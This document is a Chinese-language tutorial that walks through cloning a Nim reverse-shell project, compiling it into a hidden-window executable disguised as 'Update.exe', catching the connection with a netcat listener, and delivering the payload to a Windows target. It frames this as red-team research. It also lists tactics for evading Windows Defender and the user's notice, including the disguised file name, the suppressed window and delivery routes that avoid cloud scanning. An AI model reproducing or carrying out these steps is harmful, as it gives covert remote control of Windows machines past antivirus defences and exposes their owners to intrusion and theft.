引言:
在网络安全和渗透测试领域,Windows Defender作为Windows 10及以上版本默认启用的安全防护工具,凭借其强大的恶意软件检测与拦截能力,为系统安全筑起了一道坚固防线。然而,对于安全研究人员以及红队测试人员而言,探索如何巧妙绕过Windows Defender并成功建立反向Shell(Reverse Shell),无疑是一大极具挑战性且意义非凡的研究课题。
在这篇文章中,我们将探讨如何利用Nim编程语言开发一个反向Shell程序,并将其编译成适用于Windows系统的可执行文件格式(.exe)。我们的目标是在Kali Linux环境下成功接收到反向Shell连接,同时确保这一过程能够规避Windows Defender的安全检测。
Nim 介绍与环境搭建
Nim 是一门相对较新的编程语言,具有高性能、可读性强、跨平台编译等特点。由于 Windows Defender 主要针对 C、Python、PowerShell 等常见语言的恶意 Payload 进行特征检测,因此使用 Nim 编写的 Shell 具有更高的隐匿性,不容易被 Windows Defender 识别。
本次使用的是 GitHub 上的 Nim-Reverse-Shell 项目,该项目由 Sn1r 开发,提供了一种简单但隐蔽的反向 Shell,能够有效绕过 Windows Defender。
1. 下载 Nim-Reverse-Shell
首先,在 Kali Linux 终端中执行以下命令,克隆 Nim 反向 Shell 的 GitHub 仓库:
git clone https://github.com/Sn1r/Nim-Reverse-Shell.git
cd Nim-Reverse-Shell
安装 Nim 编译器
由于 Nim 代码需要编译为 Windows 可执行文件,因此需要先安装 Nim 编译器。
2. 安装 Nim
首先,下载 Nim 安装包:
wget https://github.com/dom96/choosenim/releases/download/v0.8.4/choosenim-0.8.4_linux_amd64
然后,执行以下命令安装 Nim:
chmod +x choosenim-0.8.4_linux_amd64
./choosenim-0.8.4_linux_amd64
安装完成后,运行以下命令更新 Nim 到稳定版本:
nim update stable
默认情况下,Nim 可执行文件会被存储在以下目录:
/home/用户名/.nimble/bin
编译 Nim 反向 Shell
3. 生成可执行文件(Payload)
在成功安装 Nim 后,可以使用以下命令将 Nim 代码编译为 Windows 可执行文件(.exe
):
nim c -d:mingw --app:gui --opt:speed -o:Update.exe ../../Desktop/rev.nim
编译成功后,Update.exe
文件将被生成。
设置 Netcat 监听器
4. 启动 Netcat 监听端口
在 Kali Linux 上,使用 Netcat 监听即将连接的反向 Shell。在终端中执行以下命令:
nc -lvnp 4444
在 Windows 目标机上运行 Payload
5. 传输可执行文件到 Windows 目标机
将 Update.exe
文件传输到目标 Windows 计算机,可以使用:
-
USB 设备
-
共享文件夹
-
远程桌面传输
-
HTTP 服务器下载(例如
python3 -m http.server
)
6. 运行 Payload,获得反向 Shell
在 Windows 目标机上运行 Update.exe
,此时 Windows Defender 不会报毒,并且该程序不会弹出窗口,而是悄无声息地运行在后台。
如果一切配置正确,在 Kali Linux 上的 Netcat 监听窗口中,将看到一个新的 Shell 连接:
Connection received on 192.168.1.100:4444
Microsoft Windows [Version 10.0.19044.1288]
(c) Microsoft Corporation. All rights reserved.
C:\Users\Administrator\Desktop>
此时,已经成功获取了 Windows 目标机的 Shell 权限。
绕过 Windows Defender 的关键点
-
Nim 语言的特性:由于 Nim 代码不像 Python、PowerShell 那样常见,因此 Windows Defender 对其检测力度较低。
-
GUI 应用模式:编译时使用
--app:gui
选项,使得程序在 Windows 目标机上运行时不会弹出终端窗口,从而降低被用户发现的风险。 -
自定义 Payload 名称:使用类似
Update.exe
这样的系统常见文件名,避免被安全软件或用户怀疑。 -
Payload 传输方式:避免通过邮件或公开网络下载,减少被 Windows Defender 云端分析的风险。
概括:
本文阐述了在Kali Linux操作系统中,运用Nim语言开发反向Shell的详细步骤。该反向Shell经过编译后生成Windows平台的可执行文件,能够有效规避Windows Defender的安全监控,进而实现对Windows目标计算机的远程操控。
操作流程概览:
1. 获取Nim-Reverse-Shell项目源码。
2. 安装Nim编程语言的编译器。
3. 编译生成恶意负载文件(例如命名为Update.exe)。
4. 在Kali Linux上启动Netcat,设置好监听端口。
5. 将编译好的Payload传输至Windows目标计算机并运行。
6. 成功建立并接收来自Windows目标计算机的反向Shell连接。